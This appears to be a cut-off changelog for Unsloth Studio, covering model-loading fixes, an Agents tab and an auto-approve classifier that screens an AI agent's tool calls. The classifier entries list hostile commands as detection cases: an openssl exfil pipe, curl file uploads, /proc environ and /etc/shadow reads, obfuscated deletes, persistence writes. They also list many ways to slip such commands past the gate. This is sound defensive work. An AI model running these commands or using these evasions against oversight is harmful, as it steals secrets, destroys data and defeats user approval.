Background loads now send local_files_only and the load route rewrites a
cached repo id to its locally resolved snapshot directory before the
weight load, keeping the registry identity intact. A cache populated
outside Studio passes the partial check while missing shards because a
missing download manifest reads as non-partial, and from_pretrained on a
repo id would download the gaps; resolution never touches the network
and an uncached repo returns 409, so incomplete caches fail over to the
next candidate instead of fetching on Send. The platform probe behind
the picker's format gates joins the bounded best-effort prefetch (its
raw fetch has no timeout), falling back to the boot-detected platform
past the grace. The name-based big-endian marker now applies only to
direct .gguf files: a directory named foo-be says nothing about the
files inside it, which the per-file variant filter already covers.
The dynamic hidden-model matcher fetch has no timeout of its own, unlike
the 30 second bounded inventory calls, so it now runs alongside them and
is awaited through a short grace instead of serially: a stalled
/api/hub/hidden-models request can no longer hang the send path, and the
static needles filter alone past the bound. The scan-leapfrog window
narrows to the first attempt only: it is the latency-critical one and
almost always succeeds, and once any budget is spent the remaining
attempts wait for resolution to settle, so failures can no longer
exhaust the cap on larger candidates while smaller ones are still
resolving.
* Add Agents settings tab for unsloth start
Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.
Also removes the "New" badge from the System and Chat tabs.
* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode
Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.
* Title Agents tab "Agents (unsloth start)" and move it below Connections
The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.
* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet
- Only probe agent PATH in the desktop app on a loopback backend, so
Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.
* Add interactive Agents command builder
* Add local subagent command guidance
* Add official coding agent icons
* Use client OS for remote commands, fix copy a11y and model wording (#7303)
- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model
* Shell-quote the model, forward the HF token, and fix the quant placeholder
- Quote the --model value in the generated and subagent commands so a local
path with spaces or metacharacters stays a single argument (client-OS aware)
- Pass the saved Hugging Face token to listGgufVariants so gated repos resolve
- Show 'No separate quantization' instead of a stuck 'Loading quantizations...'
when a model has no variants; clear the failure once a later request succeeds
* Fix Agents command discovery and routing

* Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313
- Redact minted sk-unsloth keys from the startup-failure log tail: the early
key marker lands in the server log before the model load finishes, so a
load-phase crash printed a live key to the terminal
- Deregister a finished switch waiter before releasing the swap gate so a
swap on another event loop cannot count it as still queued and unload the
model the finished request is about to generate against
- Warn on same-repo quant switches: an explicit variant replaces the resident
weights for every attached session, but the repo ids match so no switch
warning was printed
- Note the agent exit code when it is nonzero so the server keep-alive
message does not read as a successful session
- Use taskkill /T in unsloth studio stop so llama-server children stop too

* Unsloth start: add local subagents for Claude Code, Codex, OpenCode and Pi (#7326)
Bring the local-subagent support onto main. The original change (#7316) merged
into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313
reached main via squash, so these files never landed on main.
Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its
own cloud model while a locally served GGUF is registered as a delegated subagent,
using ephemeral per-session config that never touches the user's real agent config.

A GGUF outside the active Hugging Face cache only loads by its snapshot

":variant" suffix, and the active selection now keeps the variant inference
status reports for them.
* Agents tab: index the intro for agent-name searches and keep long commands inside the panel

A snapshot outside the active Hugging Face cache was offering the remote

* Default tool-call permission to Approve for me, prompting only on high-risk actions
Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.
Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:
- Unset permission_mode normalizes to "auto" at the API boundary and in both
tool loops; the Field defaults are "auto" too. An unrecognized value still
falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
is_high_risk_tool_call classifier: credential/secret path access, privilege
escalation (sudo/su/doas/pkexec), destructive or persistence commands
(rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
(curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
Python prompts on shell escapes, network egress, sensitive reads, and
dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
confirm_tool_calls for "auto" so the safe-only no-stream exception still
applies; the picker and store describe the new behavior.
The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep non-streaming tool requests working under the auto default
The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).
Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.
* Harden the auto high-risk classifier against review-flagged bypasses
Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:
- Terminal: a non-shell interpreter running inline code (python -c, node -e,
perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
git push --force), and a command synthesized by a command-position
substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
like a terminal call, since it runs arbitrary commands on the MCP server
outside the terminal sandbox; ordinary create/list/read tools still run.
The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Recurse shell -c payloads and literal exec source in the high-risk gate
Second review round on the auto high-risk classifier:
- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
bounded by depth. The sandbox hard-block only recurses for its own smaller
command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
consume their value before the subcommand is read, so the real subcommand
is judged.
- The network exfil check also runs over the assignment-expanded command, so a
curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths
Third review round on the auto high-risk classifier:
- Interpreter inline code in the attached short form (python -c'...',
node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
flag token.
- env -S / --split-string runs its string as a command (screened recursively)
and env -C / --chdir changes the working directory (asks), so a destructive
command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
run_Command) before the execution / sensitive-noun regexes, so camelCase
execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
and re-checked; an unresolved fragment folds to a sentinel so a partial fold
never false-positives.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate substitution-built shell payloads and keep explicit confirm opt-in
Two auto-mode gaps from review:
- A command substitution stashed in a variable and then executed dynamically
(x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
appears as literal command text, so the token scan could not see the real
command and git clean ran without a prompt. Fail closed when a command
substitution coincides with a variable executed as a command. Ordinary
substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
run.
- An explicit confirm_tool_calls=True with no permission_mode is the
pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
the request layer instead of the "auto" product default, so those callers keep
per-call gating rather than only prompting on high-risk calls. A bare unset
request (confirm flag not set) still defaults to auto.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads
Three more auto-mode gaps from review:
- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
"ask" regardless of the request-level tool flags, so a process-wide
--enable-tools policy that forces the loop when the request sets neither
enable_tools nor mcp_enabled still gates every call. Setting only the mode is
inert unless the loop runs, so a passthrough request is unaffected;
external-provider requests are still left untouched.
- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
high-risk terminal set. The terminal executor runs cmd /c on Windows and these
are not in the hard-block set, so del /q file.csv would otherwise run in the
workdir without a prompt.
- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
a Path bound to a variable then joined) is now gated. The python high-risk
folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
already handle the / operator, path constructors, os.path.join, str.join,
f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.
* Gate combined -c, versioned interpreters, busybox, and sensitive chdir
Four more auto-mode classifier gaps from review, plus a sandbox backstop:
- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
(bash -c'...') now have their -c payload screened recursively; the same
cluster handling closes python -Bc inline code. Previously only an exact -c
matched, so bash -lc 'git clean -fd' ran without a prompt.
- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.
- busybox / toybox are treated as command wrappers, so the applet
(busybox rm -rf) is judged instead of the multicall binary, which was slipping
through as an unknown-but-safe command.
- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
gated: the read happens after the directory change so no single token spells
out the sensitive path. Ordinary in-workdir chdirs still run.
- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
Unsloth process against same-UID /proc environ reads in normal sandboxed mode
too, not only in bypass mode, so a classifier miss cannot recover the parent
environment. Best-effort in the sandbox (the child env is already scrubbed), so
a host where prctl is unavailable still runs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden parent proc-env on the sandboxed python path too
The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.
* Tighten the curl/wget exfil check for attached and wget upload flags
The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.
* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps
Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:
- Process-launch wrappers: setsid/exec/builtin forward the command position, so
screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
-Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
GraphQL mutation, mutating HTTP method) still prompts; honestly-named
create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
/etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.
Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.
* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads
Round-two Codex hardening on the auto (Approve-for-me) classifier:
- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
at command position and openssl s_client/s_server. The sandbox has no network
namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
the workdir without a prompt. Local openssl (dgst/enc) and a filename that
merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
purge_index/revoke_token runs outside the terminal sandbox and loses data, so
gate the destructive verb on the name. Non-destructive create/update/list/get
still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
carries no command substitution and is not resolved by assignment expansion,
so it slipped the var-executed check. Fail closed when an array expansion is
run as a command; a benign array print (echo "${a[@]}") is untouched.
Adds regression rows for every new prompt case and its benign counterpart.
* Gate user-level persistence writes in auto mode
Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.
* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove
- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
--request= forms) mutates or deletes a remote resource, so gate it; a plain
download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
. ./script.sh ran the file's contents past the classifier. Block '.' at
command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
was missed because only the literal receiver 'os' was recognized; resolve
import os as ... aliases, matching the existing safety analyzer.
Adds regression rows for each case and its benign counterpart.
* Close three more obfuscation bypasses of the auto-mode gate and hard block
- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
both the high-risk scan and _find_blocked_commands missed it while Bash ran
rm. Decode ANSI-C ($'...') before classifying, in both the terminal
classifier and the blocklist; an ANSI-C string in argument position stays
benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
whose generated content is unscreenable) ran without a prompt; the prior <(
check was unreachable without curl/wget. Gate a process substitution consumed
by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
'remove') bypassed the direct-attribute scan. Track assignment aliases and
getattr with a literal attribute name; a bound list.remove still runs.
Adds regression rows for each case and its benign counterpart.
* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners
- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
kubectl) act through a daemon with host privileges, so a bind mount writes the
real filesystem and escapes the child process workdir and rlimits entirely.
Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
attach/bind/put/update/create) prompts only next to a privilege noun (role,
permission, policy, acl, scope, membership), so assign_issue and add_label
keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
--checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
gunicorn, waitress) exposes the session workdir since the sandbox keeps no
network namespace. A non-server module (python -m pytest, -m pip) still runs.
Adds regression rows for each case and its benign counterpart.
* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions
Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
`pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
prompted. Scope it to the two forms that actually listen: a module after
`-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
`python -Werror` read as eval. Resolve them per interpreter: python -c,
node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
line (`ls -T && echo curl`). Scope the scan to the segment whose command is
actually curl/wget.
Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
handle name so pandas DataFrame.truncate() keeps running.
- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
`xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.
Adds regression rows for every case and its benign counterpart.
* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases
- `if`/`while`/`until` are followed by a condition the shell runs, so a command
there is at command position. `if rm -rf build; then :; fi` slipped both the
classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
an attached payload: bash still reads the command string from the next token,
so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
--signal TERM, nice -n 5) had its value read as the wrapped command, so
`env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
assignment; only ast.Assign was collected.
Adds regression rows for each case and its benign counterpart.
* Fix two gate regressions and close seven more bypasses
Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
resolved `rm` as a command and was blocked. A keyword only separates where a
command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
consumed `git` and never judged the subcommand. The table is per wrapper now.
New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
`!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
(bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
`getattr(__import__("os"), "remove")` reaches it inline.
Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).
Adds regression rows for each case and its benign counterpart.
* Pin the auto-mode contract with benign and dangerous corpora
The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.
Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).
125 cases, currently 100 percent in both directions.
* Scope four over-prompting checks and close six more gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
positional looked executable and a search whose pattern happened to equal a
gated command name prompted. They only forward after an explicit
-exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
matter which command owned it, so printf '%s' --rsh prompted. It now
requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
(env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
binary at command position covers all three.
New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
--pathspec-from-file. A single positional stays ambiguous with a branch name
and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
instead of letting an unscreened payload through.
Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope two more over-prompting checks and close four gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
`grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
a path boundary, while the real dotfiles still prompt.
New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
command after it was never screened (`env -u` followed by a recursive delete
was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
and history rewriting drop refs and unreachable objects, the same loss the
porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
refund, wire, publish, deploy) are irreversible for the operator even though
they are not destructive in the filesystem sense.
Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
friends). Consistent with the alias/read/coproc/trap family already declined
here: it inverts the denylist into an allowlist and costs real ergonomics for
payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
scripts write to the standard temp directories constantly, so this would
prompt on routine work. Persistence and credential paths are already gated
specifically.
* Resolve command-position globs and keep quoted data out of shell syntax
- A glob at command position is expanded by bash after this scan runs, so
`/bin/r[m] -rf x` was screened under a name that never executes. The
always-on blocklist now resolves such a pattern against the blocked names,
and the classifier asks when a command word cannot be resolved at all. The
test builtins are excluded, and a pattern carrying no literal character
resolves to nothing in particular.
- A dollar-quoted word expands to a single word, so a newline inside it is
data rather than a separator. Decoding it before tokenization made
`printf '%s'` with multiline data read as two commands and the call was
refused outright. The decoded text can no longer introduce shell syntax,
while an escape-obfuscated command name still resolves.
- An attribute name assembled from literals is folded before it is screened,
so a deletion spelled as a concatenation is treated like the plain form. A
name on a filesystem module that cannot be folded at all fails closed, since
there is nothing left to screen.
- An MCP name with no separators never reached the segment boundaries, so a
server-side execution tool was classified as ordinary even though the
previous classifier failed closed on it. The verb and object compounds are
matched directly now, while a name that merely starts with those letters is
left alone.
Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.
* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes
- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
and that spelling was stripped and discarded without ever being screened.
The value is treated as command position now, in the classifier and in the
always-on blocklist. Only the long spellings are read this way: a short -x
belongs to too many other utilities for its neighbour to be a command.
- The openssl socket check was anchored at command position, so a wrapper in
front of it (env, timeout) hid the very thing it was meant to catch. The
subcommand is checked on the resolved command segment now, so the wrapped
and absolute forms are covered. Local openssl (dgst, enc) still runs.
- php runs code from -B, -R and -E as well as -r, which are begin, per-line
and end blocks. Only -r was listed, so the other three ran inline programs
unscreened.
- git worktree remove --force deletes a linked worktree even when it holds
uncommitted work or is locked, but only the first-level subcommand was read
so the nested action was invisible. An unforced remove refuses on a dirty
worktree and stays out, matching how the checkout and switch discard flags
are handled.
- sysctl -w, --system and -p change kernel parameters, and the assignment form
writes without needing a flag. A read-only query stays automatic.
* Fail closed on unscreenable MCP names, alias bodies and stored lookups
- An MCP name whose verb this classifier does not recognise now asks. MCP
tools run on an external server, outside the terminal sandbox and every
backstop under it, and their names are an open vocabulary rather than the
finite set of POSIX utilities, so the denylists could never be complete: a
name built from an unfamiliar verb sailed through as ordinary. A generous
read and write vocabulary keeps the everyday tools running, and the reverse
or repeat of a recognised verb (undelete, reopen, resend) counts as
recognised too. Measured against thirty tool names taken from the common
servers, one still prompts, and that one is the pre-existing execution rule
rather than this one.
- A shell alias body is a command bash runs when the alias is invoked, so it
is screened as a command in its own right, in the classifier and in the
always-on blocklist. This is the same shape as a git alias body, which was
already handled; leaving the shell form out was inconsistent.
- git --config-env=<key>=<envvar> takes its value from the environment, so an
alias key stores code that never appears in the command text at all. The
attached form was skipped entirely because the parser required no equals
sign. An alias key gates it now; ordinary keys are untouched.
- A destructive lookup stored before it is called (a name bound to
getattr(os, "remove")) matched neither the direct call shape nor the alias
collection, so it ran. The binding is tracked now.
- A credential basename only names a file when it appears in a string, but the
whole Python source was being scanned, so `credentials = {}`, a function
called load_credentials and even a comment mentioning credentials all
prompted while performing no I/O. The check applies to string literals now,
with the raw scan kept for source that does not parse.
* Split git short-option clusters and close five more gate gaps
- Git combines short options, so `git push -qf`, `git checkout -qf` and
`git branch -qD` never matched the exact-string flag sets and ran without a
prompt. Clusters are split before the destructive flags are checked. Also
adds the short `-f` spelling to the branch set, which moves a ref and can
abandon its commits.
- `getent shadow` and `getent gshadow` return password hashes straight from
NSS, so the read never spells out a path for the sensitive-path check to
find. The database name is gated instead; ordinary lookups (hosts, passwd)
still run.
- The account-management set covered useradd and usermod but not adduser,
deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
`gpasswd -a user sudo` granted group membership silently.
- at and batch hand a payload to atd, which runs it later as this user and
outside this invocation's blocklist, resource limits, timeout and
cancellation. They belong with crontab.
- A command word bash builds without the NAME=value form (printf -v, read)
left nothing at command position to screen. A bare variable executed as a
command that assignment expansion could not resolve now fails closed. A
variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
still leaves a literal basename the scan can read.
* Stop prompting on six inspection shapes and close eighteen gate gaps
Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:
- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
so they are inspection commands. The subcommand was gated regardless of its
flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
`echo 'python -m http.server'` and grepping for it prompted. It is anchored at
command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
`get_invoice`, `search_code` and `get_code` were prompting because the impact
and runtime-noun patterns fired on the noun. A read verb now suppresses both,
while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
DELETE FROM, a credential file or a path was read as an action. Statements are
taken from the query-bearing argument names, and paths are skipped only for
the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
wget -T 5 ...` lent curl's option letters to wget.
Gaps closed:
- git checkout-index -f overwrites the working tree from the index; git tag -d
and -f delete or replace a ref; git switch -C and checkout -B reset an
existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
(shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
equivalent already prompted. setcap grants file capabilities without sudo.
- A network client behind a wrapper (env curl -T) was missed because the client
check ran before the wrapper was resolved. slogin is a standard ssh alias and
was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
builtins.__import__ is the attribute form of __import__, and psutil ends a
process exactly as os.kill does. The psutil check is keyed on the import so an
unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
Cookie) goes out whatever its value looks like; collaborator and team-member
grants are access changes like the role verbs; and a recurring subscription
bills repeatedly.
* Bound the classifier's input and stop prompting on four more ordinary shapes
Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.
Robustness:
- The credential-path pattern backtracks superlinearly, so a long argument made
a single classification take seconds. Measured on main as well as here, so it
predates this change, but this change makes the auto gate the default and so
runs it on every call. Text far past any real path, and a command far past any
real command, now fail closed: they ask rather than spending unbounded time
deciding. Worst case over the adversarial set drops from a hang to 13 ms.
Over-prompting fixes:
- A container CLI reading its own state (docker ps, docker images, docker logs,
kubectl get) is inspection. The whole CLI was gated because the escape lives
in the arguments of run/exec, so the read subcommands were caught with it. An
unrecognised subcommand still asks, so the list can only be too small.
- A python payload is screened with the same analyzer the python tool uses, so
